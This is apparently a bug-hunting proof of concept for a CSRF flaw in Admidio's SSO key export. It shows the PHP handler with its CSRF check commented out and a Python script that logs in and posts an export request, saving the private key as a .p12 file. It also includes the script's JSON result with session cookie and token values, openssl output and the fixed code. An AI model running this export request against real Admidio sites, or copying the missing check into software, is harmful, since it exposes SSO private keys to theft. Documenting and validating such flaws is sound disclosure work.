Admidio CVE-2026-47232

// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;

// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

import os
from pathlib import Path

from helpers import BASE_URL, login, new_session, save_json, save_text


KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]


def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
    f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
    data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()

Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
    "pkcs12_export_csrf_result.json",
    {
        "login": login_result,
        "status_code": resp.status_code,
        "content_type": resp.headers.get("Content-Type"),
        "content_length": len(resp.content),
        "content_disposition": resp.headers.get("Content-Disposition"),
    },
)


if __name__ == "__main__":
main()

{
  "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
  "content_length": 2644,
  "content_type": "application/x-pkcs12",
  "login": {
"cookies": {
  "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
  "status": "success",
  "url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
  },
  "status_code": 200
}

MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;